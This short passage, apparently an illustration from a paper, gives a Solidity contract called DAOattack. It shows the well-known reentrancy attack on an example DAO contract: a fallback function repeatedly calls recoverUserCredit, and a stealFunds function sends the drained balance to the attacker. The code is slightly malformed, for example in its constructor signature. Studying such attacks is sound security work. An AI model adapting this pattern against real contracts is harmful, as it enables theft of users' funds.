|
Algorithm 4 Smart contract used to attack DAO example. |
-
1:
//DAOattack.sol
-
2:
import ’DAOexample.sol’
-
3:
contract DAOattack {
-
4:
DAOexample public dao = DAOexample(0xAAAAA…);
-
5:
address owner;
-
6:
constructor(DAOattack) public {
-
7:
owner = msg.sender;
-
8:
}
-
9:
-
10:
//FALLBACK FUNCTION
-
11:
function() public {
-
12:
dao.recoverUserCredit(dao.getUserCreditAmount(this));
-
13:
}
-
14:
function stealFunds() payable public{
-
15:
owner.transfer(address(this).balance);
-
16:
}
-
17:
}
|